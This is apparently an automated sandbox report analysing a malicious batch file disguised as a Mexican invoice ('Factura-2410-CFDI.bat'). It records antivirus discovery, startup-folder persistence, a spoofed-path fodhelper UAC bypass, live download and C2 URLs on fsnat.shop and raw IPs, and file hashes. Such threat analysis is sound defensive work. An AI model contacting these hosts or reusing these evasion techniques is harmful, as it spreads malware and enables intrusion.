Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Desktop-Required-WOW64-Package~31bf3856ad364e35~amd64~~10.0.19041.1165.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0213~31bf3856ad364e35~amd64~~10.0.19041.1151.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\System.Data\v4.0_4.0.0.0__b77a5c561934e089\System.Data.dll VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\System.Transactions\v4.0_4.0.0.0__b77a5c561934e089\System.Transactions.dll VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0213~31bf3856ad364e35~amd64~~10.0.19041.1151.cat VolumeInformation	Jump to behavior

Source: C:\_kjfech8_V\_kjfech8_Vi7.exe

Code function: 9_2_00D016F9 GetSystemTimeAsFileTime,GetCurrentProcessId,GetCurrentThreadId,GetTickCount,QueryPerformanceCounter,

9_2_00D016F9

Source: C:\_kjfech8_V\_kjfech8_Vi7.exe

Code function: 9_2_6FD96340 _lock,__tzname,_get_timezone,_get_daylight,_get_dstbias,___lc_codepage_func,GetTimeZoneInformation,WideCharToMultiByte,WideCharToMultiByte,WideCharToMultiByte,__timezone,__daylight,__dstbias,strcmp,free,strlen,_malloc_crt,strlen,strcpy_s,_invoke_watson,free,strncpy_s,atol,atol,atol,strncpy_s,__timezone,__daylight,

9_2_6FD96340

Source: C:\_kjfech8_V\_kjfech8_Vi7.exe

Code function: 9_2_6FDBBCAE GetSystemInfo,memset,GetVersionExW,??0unsupported_os@Concurrency@@QAE@XZ,_CxxThrowException,GetModuleHandleW,GetProcAddress,GetLastError,??0scheduler_resource_allocation_error@Concurrency@@QAE@J@Z,??0unsupported_os@Concurrency@@QAE@XZ,GetModuleHandleW,GetProcAddress,GetLastError,??0scheduler_resource_allocation_error@Concurrency@@QAE@J@Z,GetLastError,GetLastError,GetLastError,??0scheduler_resource_allocation_error@Concurrency@@QAE@J@Z,malloc,??0exception@std@@QAE@ABQBDH@Z,GetLastError,??0scheduler_resource_allocation_error@Concurrency@@QAE@J@Z,free,GetLastError,GetLastError,GetLastError,??0scheduler_resource_allocation_error@Concurrency@@QAE@J@Z,malloc,??0exception@std@@QAE@ABQBDH@Z,GetLastError,??0scheduler_resource_allocation_error@Concurrency@@QAE@J@Z,free,??0unsupported_os@Concurrency@@QAE@XZ,

9_2_6FDBBCAE

Source: powershell.exe, 00000004.00000002.30085176960.000001E7908CC000.00000004.00000020.00020000.00000000.sdmp

Binary or memory string: %ProgramFiles%\Windows Defender\MsMpeng.exe

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	WMI Queries: IWbemServices::ExecQuery - root\SecurityCenter2 : SELECT * FROM AntiVirusProduct
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	WMI Queries: IWbemServices::ExecQuery - root\SecurityCenter2 : SELECT * FROM AntiVirusProduct
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	WMI Queries: IWbemServices::ExecQuery - root\SecurityCenter2 : SELECT * FROM AntiVirusProduct

Mitre Att&ck Matrix

Reconnaissance	Resource Development	Initial Access	Execution	Persistence	Privilege Escalation	Defense Evasion	Credential Access	Discovery	Lateral Movement	Collection	Command and Control	Exfiltration	Impact
Gather Victim Identity Information	1 Scripting	Valid Accounts	1 Windows Management Instrumentation	1 Scripting	1 Abuse Elevation Control Mechanism	11 Disable or Modify Tools	OS Credential Dumping	2 System Time Discovery	Remote Services	1 Archive Collected Data	1 Ingress Tool Transfer	Exfiltration Over Other Network Medium	1 System Shutdown/Reboot
Credentials	Domains	Default Accounts	1 Native API	1 DLL Side-Loading	1 DLL Side-Loading	1 Deobfuscate/Decode Files or Information	LSASS Memory	3 File and Directory Discovery	Remote Desktop Protocol	Data from Removable Media	11 Encrypted Channel	Exfiltration Over Bluetooth	Network Denial of Service
Email Addresses	DNS Server	Domain Accounts	1 Command and Scripting Interpreter	12 Registry Run Keys / Startup Folder	12 Process Injection	1 Abuse Elevation Control Mechanism	Security Account Manager	25 System Information Discovery	SMB/Windows Admin Shares	Data from Network Shared Drive	3 Non-Application Layer Protocol	Automated Exfiltration	Data Encrypted for Impact
Employee Names	Virtual Private Server	Local Accounts	4 PowerShell	Login Hook	12 Registry Run Keys / Startup Folder	4 Obfuscated Files or Information	NTDS	151 Security Software Discovery	Distributed Component Object Model	Input Capture	4 Application Layer Protocol	Traffic Duplication	Data Destruction
Gather Victim Network Information	Server	Cloud Accounts	Launchd	Network Logon Script	Network Logon Script	11 Software Packing	LSA Secrets	2 Process Discovery	SSH	Keylogging	Fallback Channels	Scheduled Transfer	Data Encrypted for Impact
Domain Properties	Botnet	Replication Through Removable Media	Scheduled Task	RC Scripts	RC Scripts	1 Timestomp	Cached Domain Credentials	31 Virtualization/Sandbox Evasion	VNC	GUI Input Capture	Multiband Communication	Data Transfer Size Limits	Service Stop
DNS	Web Services	External Remote Services	Systemd Timers	Startup Items	Startup Items	1 DLL Side-Loading	DCSync	1 Application Window Discovery	Windows Remote Management	Web Portal Capture	Commonly Used Port	Exfiltration Over C2 Channel	Inhibit System Recovery
Network Trust Dependencies	Serverless	Drive-by Compromise	Container Orchestration Job	Scheduled Task/Job	Scheduled Task/Job	31 Masquerading	Proc Filesystem	System Owner/User Discovery	Cloud Services	Credential API Hooking	Application Layer Protocol	Exfiltration Over Alternative Protocol	Defacement
Network Topology	Malvertising	Exploit Public-Facing Application	Command and Scripting Interpreter	At	At	31 Virtualization/Sandbox Evasion	/etc/passwd and /etc/shadow	Network Sniffing	Direct Cloud VM Connections	Data Staged	Web Protocols	Exfiltration Over Symmetric Encrypted Non-C2 Protocol	Internal Defacement
IP Addresses	Compromise Infrastructure	Supply Chain Compromise	PowerShell	Cron	Cron	12 Process Injection	Network Sniffing	Network Service Discovery	Shared Webroot	Local Data Staging	File Transfer Protocols	Exfiltration Over Asymmetric Encrypted Non-C2 Protocol	External Defacement

Behavior Graph

Hide Legend

Legend:

Process
Signature
Created File
DNS/IP Info
Is Dropped
Is Windows Process
Number of created Registry Values
Number of created Files
Visual Basic
Delphi
Java
.Net C# or VB.NET
C, C++ or other language
Is malicious
Internet

Source	Detection	Scanner	Label
C:\Users\Public\computer_kjfech8_V.cmd	100%	Avira	BAT/Runner.VPF
C:\Users\Public\computer_kjfech8_Vy.cmd	100%	Avira	BAT/Runner.VPF
C:\Users\Public\Documents\vs1.ps1	100%	Avira	TR/PShell.Dldr.VPJ
C:\Windows \System32\fodhelper.exe	3%	ReversingLabs
C:\_kjfech8_V\MSVCR100.dll (copy)	0%	ReversingLabs
C:\_kjfech8_V\MSVCR100.txt	0%	ReversingLabs
C:\_kjfech8_V\WebView2Loader.dll (copy)	0%	ReversingLabs
C:\_kjfech8_V\WebView2Loader.txt	0%	ReversingLabs
C:\_kjfech8_V\_kjfech8_V.exe (copy)	0%	ReversingLabs
C:\_kjfech8_V\_kjfech8_Vi7.exe (copy)	0%	ReversingLabs
C:\_kjfech8_V\exe.txt	0%	ReversingLabs
C:\_kjfech8_V\i7.txt	0%	ReversingLabs
C:\_kjfech8_V\jli.dll	19%	ReversingLabs

Name	IP	Active	Malicious	Antivirus Detection	Reputation
fsnat.shop	93.127.200.211	true	true		unknown

Contacted URLs

Name	Malicious	Antivirus Detection	Reputation
http://62.72.3.210/ldht/index.php	true		unknown
https://fsnat.shop/a/08/150822/up/up	true		unknown

URLs from Memory and Binaries

Name	Source	Malicious	Reputation
http://nuget.org/NuGet.exe	powershell.exe, 00000004.00000002.30098453152.000001E7A28C5000.00000004.00000800.00020000.00000000.sdmp	false	unknown
http://pesterbdd.com/images/Pester.png	powershell.exe, 00000004.00000002.30087129699.000001E792A77000.00000004.00000800.00020000.00000000.sdmp	true	unknown
http://schemas.xmlsoap.org/soap/encoding/	powershell.exe, 00000004.00000002.30087129699.000001E7930C6000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 0000000D.00000002.29798541069.00000000043E7000.00000004.00000800.00020000.00000000.sdmp	false	unknown
https://aka.ms/pscore6lB	powershell.exe, 0000000D.00000002.29798541069.0000000004291000.00000004.00000800.00020000.00000000.sdmp	false	unknown
http://www.apache.org/licenses/LICENSE-2.0.html	powershell.exe, 00000004.00000002.30087129699.000001E792A77000.00000004.00000800.00020000.00000000.sdmp	true	unknown
http://schemas.xmlsoap.org/wsdl/	powershell.exe, 00000004.00000002.30087129699.000001E7930C6000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 0000000D.00000002.29798541069.00000000043E7000.00000004.00000800.00020000.00000000.sdmp	false	unknown
https://contoso.com/	powershell.exe, 00000004.00000002.30098453152.000001E7A28C5000.00000004.00000800.00020000.00000000.sdmp	false	unknown
https://nuget.org/nuget.exe	powershell.exe, 00000004.00000002.30098453152.000001E7A28C5000.00000004.00000800.00020000.00000000.sdmp	false	unknown
http://crl.microsoft.co:	powershell.exe, 00000004.00000002.30086145780.000001E790A45000.00000004.00000020.00020000.00000000.sdmp	false	unknown
https://contoso.com/License	powershell.exe, 00000004.00000002.30098453152.000001E7A28C5000.00000004.00000800.00020000.00000000.sdmp	false	unknown
http://www.apache.org/licenses/LICENSE-2.0.htmlXzi	powershell.exe, 00000004.00000002.30087129699.000001E792A77000.00000004.00000800.00020000.00000000.sdmp	false	unknown
https://contoso.com/Icon	powershell.exe, 00000004.00000002.30098453152.000001E7A28C5000.00000004.00000800.00020000.00000000.sdmp	false	unknown
http://www.quovadis.bm0	powershell.exe, 0000000D.00000002.29797055442.000000000052B000.00000004.00000020.00020000.00000000.sdmp, powershell.exe, 00000014.00000002.30385728857.0000014C514FD000.00000004.00000020.00020000.00000000.sdmp	false	unknown
http://pesterbdd.com/images/Pester.pngXzi	powershell.exe, 00000004.00000002.30087129699.000001E792A77000.00000004.00000800.00020000.00000000.sdmp	false	unknown
https://aka.ms/pscore68	powershell.exe, 00000004.00000002.30087129699.000001E792851000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000014.00000002.30351811914.0000014C393C1000.00000004.00000800.00020000.00000000.sdmp	false	unknown
http://86.38.217.167	powershell.exe, 00000004.00000002.30087129699.000001E792A77000.00000004.00000800.00020000.00000000.sdmp	false	unknown
https://ocsp.quovadisoffshore.com0	powershell.exe, 0000000D.00000002.29797055442.000000000052B000.00000004.00000020.00020000.00000000.sdmp, powershell.exe, 00000014.00000002.30385728857.0000014C514FD000.00000004.00000020.00020000.00000000.sdmp	false	unknown
http://62.72.3.210	powershell.exe, 00000004.00000002.30087129699.000001E792E56000.00000004.00000800.00020000.00000000.sdmp	false	unknown
https://github.com/Pester/PesterXzi	powershell.exe, 00000004.00000002.30087129699.000001E792A77000.00000004.00000800.00020000.00000000.sdmp	false	unknown
http://schemas.xmlsoap.org/ws/2005/05/identity/claims/name	powershell.exe, 00000004.00000002.30087129699.000001E792851000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 0000000D.00000002.29798541069.0000000004291000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000014.00000002.30351811914.0000014C393C1000.00000004.00000800.00020000.00000000.sdmp	false	unknown
https://github.com/Pester/Pester	powershell.exe, 00000004.00000002.30087129699.000001E792A77000.00000004.00000800.00020000.00000000.sdmp	true	unknown

World Map of Contacted IPs

No. of IPs < 25%
25% < No. of IPs < 50%
50% < No. of IPs < 75%
75% < No. of IPs

Public IPs

IP	Domain	Country	ASN	ASN Name	Malicious
93.127.200.211	fsnat.shop	Germany	62255	ASMUNDA-ASSC	true
62.72.3.210	unknown	Germany	5427	PRTL-DE	true
86.38.217.167	unknown	Lithuania	15419	LRTC-ASLT	false

General Information

Joe Sandbox version:	41.0.0 Charoite
Analysis ID:	1542952
Start date and time:	2024-10-27 00:19:16 +02:00
Joe Sandbox product:	CloudBasic
Overall analysis duration:	0h 9m 50s
Hypervisor based Inspection enabled:	false
Report type:	full
Cookbook file name:	default.jbs
Analysis system description:	Windows 10 64 bit 20H2 Native physical Machine for testing VM-aware malware (Office 2019, Chrome 128, Firefox 91, Adobe Reader DC 21, Java 8 Update 301
Number of analysed new started processes analysed:	21
Number of new started drivers analysed:	0
Number of existing processes analysed:	0
Number of existing drivers analysed:	0
Number of injected processes analysed:	0
Technologies:	HCA enabled EGA enabled AMSI enabled
Analysis Mode:	default
Analysis stop reason:	Timeout
Sample name:	Factura-2410-CFDI.bat
Detection:	MAL
Classification:	mal100.rans.expl.evad.winBAT@26/50@1/3
EGA Information:	Successful, ratio: 50%
HCA Information:	Successful, ratio: 100% Number of executed functions: 0 Number of non-executed functions: 389
Cookbook Comments:	Found application associated with file extension: .bat

Warnings

Exclude process from analysis (whitelisted): dllhost.exe, WerFault.exe, svchost.exe
Excluded IPs from analysis (whitelisted): 142.251.32.106, 142.250.80.106, 142.250.80.74, 142.251.40.138, 142.251.41.10, 142.250.176.202, 142.251.35.170, 142.250.64.74, 142.251.40.202, 142.250.80.42, 142.250.65.170, 142.250.80.10, 142.250.72.106, 142.251.40.234, 142.251.40.106, 142.251.40.170, 52.168.117.173
Excluded domains from analysis (whitelisted): onedsblobprdeus16.eastus.cloudapp.azure.com, login.live.com, blobcollector.events.data.trafficmanager.net, umwatson.events.data.microsoft.com, firebasestorage.googleapis.com
Execution Graph export aborted for target _kjfech8_Vi7.exe, PID 3204 because there are no executed function
Execution Graph export aborted for target powershell.exe, PID 8092 because it is empty
Not all processes where analyzed, report is missing behavior information
Report size exceeded maximum capacity and may have missing behavior information.
Report size exceeded maximum capacity and may have missing disassembly code.
Report size getting too big, too many NtCreateKey calls found.
Report size getting too big, too many NtOpenKeyEx calls found.
Report size getting too big, too many NtQueryValueKey calls found.
VT rate limit hit for: Factura-2410-CFDI.bat

Simulations

Behavior and APIs

Time	Type	Description
00:21:47	Autostart	Run: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\_kjfech8_V.lnk
00:21:55	Autostart	Run: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\_kjfech8_VAA.lnk
00:22:03	Autostart	Run: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\_kjfech8_VAT.lnk
00:22:23	Autostart	Run: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\_kjfech8_VEX.lnk
00:22:43	Autostart	Run: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\_kjfech8_Vy.lnk
18:21:24	API Interceptor	825x Sleep call for process: powershell.exe modified
18:22:05	API Interceptor	1x Sleep call for process: WerFault.exe modified

Joe Sandbox View / Context

IPs

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
93.127.200.211	pw.ps1	Get hash	malicious	Unknown	Browse	93.127.200.211/a/08/150822/au/logs/index.php?CHLG
62.72.3.210	KKKK.hta	Get hash	malicious	Unknown	Browse
86.38.217.167	pw.ps1	Get hash	malicious	Unknown	Browse	86.38.217.167/09/index.php
86.38.217.167	Facturas-5MngNH.lnk	Get hash	malicious	Unknown	Browse	86.38.217.167/lnkld

Domains

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
fsnat.shop	pw.ps1	Get hash	malicious	Unknown	Browse	93.127.200.211
	FacturasEnAdjunto-HHH.hta	Get hash	malicious	Unknown	Browse	93.127.200.211
	FacFiscalDigitalenmi6Q8V_C(549).PDF.vbs	Get hash	malicious	Unknown	Browse	89.116.236.122
	6.vbs	Get hash	malicious	Unknown	Browse	89.116.236.122

ASNs

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
PRTL-DE	SecuriteInfo.com.Trojan.GenericKD.74281746.21507.1551.exe	Get hash	malicious	GuLoader	Browse	62.72.43.173
	SecuriteInfo.com.Trojan.GenericKD.74281746.21507.1551.exe	Get hash	malicious	GuLoader	Browse	62.72.43.173
	JJLOVjVrYv.elf	Get hash	malicious	Mirai, Gafgyt	Browse	195.214.110.183
	jYEvdBHMOI.elf	Get hash	malicious	Mirai	Browse	195.214.110.190
	UMOWA_09.BAT.exe	Get hash	malicious	FormBook, GuLoader	Browse	62.72.43.173
	UMOWA_09.BAT.exe	Get hash	malicious	FormBook, GuLoader	Browse	62.72.43.173
	#U0421#U041f#U041e#U0420#U0410#U0417#U0423#U041c#U0415#U041d#U0418#U0415-pdf.bat.exe	Get hash	malicious	GuLoader	Browse	62.72.43.173
	KKKK.hta	Get hash	malicious	Unknown	Browse	62.72.3.210
	Payment_Notice_RECIPIENT_NAME.htm	Get hash	malicious	EvilProxy, HTMLPhisher	Browse	62.72.19.33
	8tGqHMzByM.elf	Get hash	malicious	Mirai	Browse	195.214.110.185
ASMUNDA-ASSC	JuyR4wj8av.exe	Get hash	malicious	Stealc, Vidar	Browse	93.127.208.30
	EL7ggW7AdA.exe	Get hash	malicious	Stealc, Vidar	Browse	93.127.208.30
	arm6.elf	Get hash	malicious	Unknown	Browse	93.127.202.25
	https://aliceblue-dolphin-702154.hostingersite.com/juno-server-alerts.com/authen.php/	Get hash	malicious	Unknown	Browse	93.127.179.137
	https://nationalrecalls.com/outbound-scheduling-calls	Get hash	malicious	Unknown	Browse	93.127.179.248
	KKKK.hta	Get hash	malicious	Unknown	Browse	93.127.200.211
	pw.ps1	Get hash	malicious	Unknown	Browse	93.127.200.211
	https://maryscenter2-my.sharepoint.com/:o:/g/personal/gmiranda_maryscenter_org/EmGp6Dkk921NtUdFUcUMh9oBCA8FTTR3eEy2-FPQR40DVA?e=Ix5141	Get hash	malicious	SharepointPhisher	Browse	93.127.186.197
	https://glamis-house.com/?email=	Get hash	malicious	HTMLPhisher	Browse	93.127.186.197
LRTC-ASLT	la.bot.sh4.elf	Get hash	malicious	Unknown	Browse	86.38.197.160
	la.bot.mips.elf	Get hash	malicious	Unknown	Browse	89.117.25.51
	eETnl6XIwn	Get hash	malicious	Unknown	Browse	89.117.72.231
	8VYDvQtXBH.exe	Get hash	malicious	LummaC, Amadey, Credential Flusher, LummaC Stealer, Stealc	Browse	89.117.139.59
	x86_32.nn.elf	Get hash	malicious	Mirai, Okiru	Browse	86.38.65.119
	Reader_PDF_2024.exe	Get hash	malicious	Unknown	Browse	89.117.72.231
	Reader_PDF_2024.exe	Get hash	malicious	Unknown	Browse	89.117.72.231
	https://oplaesa.krtra.com/c/HEacb57dq4Yf/pNyX	Get hash	malicious	Unknown	Browse	89.117.144.56
	https://firebasestorage.googleapis.com/v0/b/lecongtai-bb82b.appspot.com/o/16-10%2FCompilation%20of%20copyright-protected%20videos%20and%20images.zip?alt=media&token=c97d235f-3349-47aa-b756-15ecdbdf39b1	Get hash	malicious	Python Stealer, Braodo	Browse	86.38.202.97
	TF-5713011_slip (2).jar	Get hash	malicious	Branchlock Obfuscator	Browse	86.38.225.161

JA3 Fingerprints

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
3b5074b1b5d032e5620f69f9f700ff0e	SUNNY HONG VSL PARTICULARS.xlsx.exe	Get hash	malicious	AgentTesla, PureLog Stealer	Browse	93.127.200.211
	JOSXXL1.exe	Get hash	malicious	GuLoader, Snake Keylogger	Browse	93.127.200.211
	WINNING DILIGENCE - VESSEL PARTICULARS.doc.exe	Get hash	malicious	AgentTesla, PureLog Stealer	Browse	93.127.200.211
	MHQMJCOxjl.exe	Get hash	malicious	JohnWalkerTexasLoader	Browse	93.127.200.211
	73OPQbICEW.exe	Get hash	malicious	JohnWalkerTexasLoader	Browse	93.127.200.211
	MHQMJCOxjl.exe	Get hash	malicious	JohnWalkerTexasLoader	Browse	93.127.200.211
	73OPQbICEW.exe	Get hash	malicious	JohnWalkerTexasLoader	Browse	93.127.200.211
	6VTskjqyxX.exe	Get hash	malicious	Unknown	Browse	93.127.200.211
	6VTskjqyxX.exe	Get hash	malicious	Unknown	Browse	93.127.200.211
	gI1wz7QtZV.lnk	Get hash	malicious	LonePage	Browse	93.127.200.211

Dropped Files

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link
C:\_kjfech8_V\MSVCR100.dll (copy)	mXF65oa1GJ.exe	Get hash	malicious	Unknown	Browse
	mXF65oa1GJ.exe	Get hash	malicious	Unknown	Browse
	Confirm Me.exe	Get hash	malicious	STRRAT	Browse
	PInstaller.exe	Get hash	malicious	STRRAT	Browse
	123.sfx.exe	Get hash	malicious	STRRAT	Browse
	KKKK.hta	Get hash	malicious	Unknown	Browse
	formatfactory-4-6-1-0.exe	Get hash	malicious	Unknown	Browse
	formatfactory-4-6-1-0.exe	Get hash	malicious	Unknown	Browse
	EYOFFTITMDLXZJFFCCGFDTBIY.msi	Get hash	malicious	Unknown	Browse
	SSCBOLGZFXVJMEICRNQMJOCDIF.msi	Get hash	malicious	Unknown	Browse
C:\Windows \System32\fodhelper.exe	rPO767575.cmd	Get hash	malicious	DBatLoader	Browse
	KKKK.hta	Get hash	malicious	Unknown	Browse
	ZG7UaFRPVW.exe	Get hash	malicious	DBatLoader, Remcos	Browse
	IN-34823_PO39276-pdf.vbe	Get hash	malicious	Remcos, DBatLoader	Browse
	7XU2cRFInT.exe	Get hash	malicious	Remcos, DBatLoader	Browse
	megerosites.cmd	Get hash	malicious	DBatLoader, Lokibot	Browse
	Scan_SKMBT_EPDA _ SOA_Payment Reference TR-37827392-2024-07-24.Pdf.exe	Get hash	malicious	Remcos, DBatLoader	Browse
	Payroll for July.exe	Get hash	malicious	Remcos, DBatLoader	Browse
	2nd_Quarter_Order_Sheet_xls_0000000000000000000.exe	Get hash	malicious	Remcos, DBatLoader	Browse
	Import_Tax Invoice_PL_xls_0000000000000000000 .exe	Get hash	malicious	Remcos, DBatLoader	Browse

Created / dropped Files

C:\ProgramData\Microsoft\Windows\WER\ReportQueue\AppCrash__kjfech8_Vi7.exe_c8f99aa578fab6eaaead194b1cb93e27a87ba_17b648d7_79ce850f-cd16-4317-9d1c-184b0f22106c\Report.wer

Process:	C:\Windows\SysWOW64\WerFault.exe
File Type:	Unicode text, UTF-16, little-endian text, with CRLF line terminators
Category:	dropped
Size (bytes):	65536
Entropy (8bit):	0.9933003261985374
Encrypted:	false
SSDEEP:	192:SqbJDEmmBUW4jryfQFKxDu76qfAIO8ot:vb9E/BUW4jm9Du76qfAIO8ot
MD5:	178924F0F429277D7FBB7D3366D96CBC
SHA1:	F9E9D813DD505D2D00AD0ACD9523CA6A1B1BB7E3
SHA-256:	766F9038C9EF7D1F77A3C68C84B0EB5B5DB1D112DEC382E6395F6C5466A6DC40
SHA-512:	AEEA606F912CCD2B358C32BDCFFEE7E95BE6509DBAED34D59A27EF26B8319573D69786901FC611C9184532B2B83883E4C5272A24A271D1EE19E892932C4EBCD4
Malicious:	false
Preview:	..V.e.r.s.i.o.n.=.1.....E.v.e.n.t.T.y.p.e.=.A.P.P.C.R.A.S.H.....E.v.e.n.t.T.i.m.e.=.1.3.3.7.4.4.5.4.9.2.4.2.5.2.1.9.3.7.....R.e.p.o.r.t.T.y.p.e.=.2.....C.o.n.s.e.n.t.=.1.....U.p.l.o.a.d.T.i.m.e.=.1.3.3.7.4.4.5.4.9.2.4.5.8.0.2.4.8.0.....R.e.p.o.r.t.S.t.a.t.u.s.=.5.2.4.3.8.4.....R.e.p.o.r.t.I.d.e.n.t.i.f.i.e.r.=.7.9.c.e.8.5.0.f.-.c.d.1.6.-.4.3.1.7.-.9.d.1.c.-.1.8.4.b.0.f.2.2.1.0.6.c.....I.n.t.e.g.r.a.t.o.r.R.e.p.o.r.t.I.d.e.n.t.i.f.i.e.r.=.c.f.8.b.2.b.d.1.-.0.c.3.f.-.4.e.f.6.-.a.9.4.f.-.0.4.d.a.a.e.3.0.d.7.8.a.....W.o.w.6.4.H.o.s.t.=.3.4.4.0.4.....W.o.w.6.4.G.u.e.s.t.=.3.3.2.....N.s.A.p.p.N.a.m.e.=._.k.j.f.e.c.h.8._.V.i.7...e.x.e.....O.r.i.g.i.n.a.l.F.i.l.e.n.a.m.e.=.k.i.n.i.t...e.x.e.....A.p.p.S.e.s.s.i.o.n.G.u.i.d.=.0.0.0.0.0.5.d.4.-.0.0.0.1.-.0.0.4.d.-.5.5.d.d.-.f.b.7.b.f.5.2.7.d.b.0.1.....T.a.r.g.e.t.A.p.p.I.d.=.W.:.0.0.0.6.7.d.3.5.1.9.5.5.1.0.4.c.2.5.d.b.0.2.1.2.7.5.0.d.8.1.4.4.b.f.1.6.0.0.0.0.0.0.0.0.!.0.0.0.0.6.1.5.d.c.2.f.a.8.2.7.f.a.b.3.9.e.1.6.a.7.e.9.7.2.1.f.4.8.4.e.7.f.4.d.3.

C:\ProgramData\Microsoft\Windows\WER\Temp\WER1A84.tmp.dmp

Process:	C:\Windows\SysWOW64\WerFault.exe
File Type:	Mini DuMP crash report, 14 streams, Sat Oct 26 22:22:04 2024, 0x1205a4 type
Category:	dropped
Size (bytes):	83718
Entropy (8bit):	1.8255383231410667
Encrypted:	false
SSDEEP:	192:3BXyQ/+a5sUfOv58GlWod9PULDrjKgimRxoPTAiLhPlJ7EozN461vc5ZTUy8O4Tj:RiRmWxccyKgDRvivJAozShqD
MD5:	EAFD15AFF54503BA477EB64CB883DC17
SHA1:	62897B3C485E518EC58C714A6A29173763E1DFD1
SHA-256:	F80885DCABAD29734A03C252677531148F76B953FEE68A95E0FDFD5B8C1EA0F2
SHA-512:	18452740DEA95D1E7DA6A220B3786C29BD6D3143C54BE04C470B90146B9AAA44E3352DF242EECF103EA5C1FFC703B31CDA0751B52C38EF5C0B0C1F9BC0DAC5D8
Malicious:	false
Preview:	MDMP..a..... ........k.g........................`...........$....A..........T.......8...........T............,..n........................ ..............................................................................bJ......p!......GenuineIntel...........T............k.g.............................0..............,...E.a.s.t.e.r.n. .S.t.a.n.d.a.r.d. .T.i.m.e...........................................E.a.s.t.e.r.n. .D.a.y.l.i.g.h.t. .T.i.m.e...........................................1.9.0.4.1...1...a.m.d.6.4.f.r.e...v.b._.r.e.l.e.a.s.e...1.9.1.2.0.6.-.1.4.0.6...................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\ProgramData\Microsoft\Windows\WER\Temp\WER1B12.tmp.WERInternalMetadata.xml

Process:	C:\Windows\SysWOW64\WerFault.exe
File Type:	XML 1.0 document, Unicode text, UTF-16, little-endian text, with CRLF line terminators
Category:	dropped
Size (bytes):	8326
Entropy (8bit):	3.701838695089011
Encrypted:	false
SSDEEP:	192:R9l7lZNiC786IpKY6Y7PSUU5gmfUYClprT89bX4sfT9m:R9lnNiN6Ipt6YTSUU5gmfr3Xrf0
MD5:	12783BBE48A09C923120DD9E788E2AEC
SHA1:	63387E06033CFCC8ECAFE37866168BCC43FA70C7
SHA-256:	FBEDF10867205CE9A58A6450A0EF5AE1C3AA560755D726927FA29E7437156781
SHA-512:	5D8483CFE6DF6CE6B1A1E29F53C330E0075F727A1801DA8B26BE158DB7D76178CF7678D27AF3EDB3CE988CECBB057C033675FAD2BB7A759B732846C8D3FDA569
Malicious:	false
Preview:	..<.?.x.m.l. .v.e.r.s.i.o.n.=.".1...0.". .e.n.c.o.d.i.n.g.=.".U.T.F.-.1.6.".?.>.....<.W.E.R.R.e.p.o.r.t.M.e.t.a.d.a.t.a.>.......<.O.S.V.e.r.s.i.o.n.I.n.f.o.r.m.a.t.i.o.n.>.........<.W.i.n.d.o.w.s.N.T.V.e.r.s.i.o.n.>.1.0...0.<./.W.i.n.d.o.w.s.N.T.V.e.r.s.i.o.n.>.........<.B.u.i.l.d.>.1.9.0.4.2.<./.B.u.i.l.d.>.........<.P.r.o.d.u.c.t.>.(.0.x.3.0.).:. .W.i.n.d.o.w.s. .1.0. .P.r.o.<./.P.r.o.d.u.c.t.>.........<.E.d.i.t.i.o.n.>.P.r.o.f.e.s.s.i.o.n.a.l.<./.E.d.i.t.i.o.n.>.........<.B.u.i.l.d.S.t.r.i.n.g.>.1.9.0.4.1...1.1.6.5...a.m.d.6.4.f.r.e...v.b._.r.e.l.e.a.s.e...1.9.1.2.0.6.-.1.4.0.6.<./.B.u.i.l.d.S.t.r.i.n.g.>.........<.R.e.v.i.s.i.o.n.>.1.1.6.5.<./.R.e.v.i.s.i.o.n.>.........<.F.l.a.v.o.r.>.M.u.l.t.i.p.r.o.c.e.s.s.o.r. .F.r.e.e.<./.F.l.a.v.o.r.>.........<.A.r.c.h.i.t.e.c.t.u.r.e.>.X.6.4.<./.A.r.c.h.i.t.e.c.t.u.r.e.>.........<.L.C.I.D.>.1.0.3.3.<./.L.C.I.D.>.......<./.O.S.V.e.r.s.i.o.n.I.n.f.o.r.m.a.t.i.o.n.>.......<.P.r.o.c.e.s.s.I.n.f.o.r.m.a.t.i.o.n.>.........<.P.i.d.>.1.4.9.2.<./.P.i.

C:\ProgramData\Microsoft\Windows\WER\Temp\WER1B42.tmp.xml

Process:	C:\Windows\SysWOW64\WerFault.exe
File Type:	XML 1.0 document, ASCII text, with CRLF line terminators
Category:	dropped
Size (bytes):	4818
